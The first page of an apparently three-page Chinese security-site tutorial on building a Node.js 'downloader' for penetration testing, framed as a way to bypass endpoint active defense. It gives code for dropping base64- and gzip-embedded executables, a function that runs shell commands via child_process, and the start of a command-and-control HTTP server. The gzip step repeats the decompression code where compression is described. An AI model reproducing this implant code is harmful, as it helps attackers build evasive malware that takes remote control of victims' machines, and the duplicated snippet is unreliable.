欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

渗透测试中的Node.js——Downloader的实现

来源:本站整理 作者:佚名 时间:2019-04-10 TAG: 我要投稿

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。
我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。
Node.js绕过主动防御的学习地址:
http://www.myhack58.com/Article/html/3/7/2019/93590.htm

0x01 简介
本文将要介绍以下内容:
· 基本概念
· 利用Node.js实现的文件释放
· 利用Node.js实现的downloader
· 利用思路
· 防御建议
0x02 基本概念
Node.js同JavaScript的区别
JavaScript是一门语言。
Node.js是一个基于Chrome V8引擎的JavaScript运行环境。
虽然在Windows平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同。
Node.js的使用
官方文档:
https://nodejs.org/api/
中文资料:
http://www.runoob.com/nodejs/nodejs-tutorial.html
下载地址:
https://nodejs.org/en/download/
在Windows平台下,Node.js代码保存在.js后缀名的文件中,通过node.exe加载执行。
Node.js支持第三方包,可通过npm命令安装模块,实例如下:
安装web框架模块express:
npm install express
使用模块express:
var express = require('express');
注:本文涉及的代码均不使用第三方包,只使用安装包中的node.exe
0x03 利用Node.js实现的文件释放
实现思路:
将exe文件做base64编码存储在文件中,释放时先读取文件进行解码,最后写入文件。
1. 读取文件内容,做base64编码并输出到data.txt
function base64_encode(file) {
 var fs = require('fs');
 var data = fs.readFileSync(file);
 return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);
注:fs.readFileSync表示同步读取,异步读取使用fs.readFile
执行:
node.js base64encode.js >data.txt
2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe
function base64_decode(base64str, file) {
 var data = Buffer.from(base64str, 'base64');
    fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');
注:使用代码var base64str = fs.readFileSync('data.txt');在读取文件后,变量base64str需要强制转换成字符串类型,即base64str.toString()
为了缩小文件长度,加入压缩算法gzip
1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz
function gunzip(sourcePath) {
 var zlib = require('zlib');
 var fs = require('fs');
   var unzip = zlib.createGunzip();
   var rs = fs.createReadStream(sourcePath);
   var ws = fs.createWriteStream('test2.exe');
   rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');
2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe
var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
  var unzip = zlib.createGunzip();
  var rs = fs.createReadStream(sourcePath);
  var ws = fs.createWriteStream('test2.exe');
  rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');
0x04 利用Node.js实现的downloader
实现思路:
1. Server
· 监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据。
· 对客户端的数据包进行筛选,对符合条件1的客户端返回控制命令,对符合条件2的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面。
2. Client
· 连接指定服务器,发送固定格式的post数据,包括当前系统的主机名和操作系统版本。
· 接收服务器返回的控制命令,执行后将结果再次发送到服务器。
· 如果服务器未响应,等待一段时间后再次发送post请求。
需要考虑如下问题:
1. 通过Node.js执行cmd命令
function runcmd(command) {
 var childprocess = require('child_process');
 childprocess.exec(command, (err, stdout, stderr) => {
   if (err) {
      console.error(err);
      return;
   }
   console.log(stdout);
 });
}
runcmd('whoami');
2. HTTP通信的实现
Server:
var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
     var body = '';
     console.log('req.url:',req.url);
     req.on('data', function (chunk) {
  body += chunk;
         console.log("chunk:",chunk);
     });
     req.on('end', function () {
         body = querystring.parse(body); 
         console.log('body:',body);

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载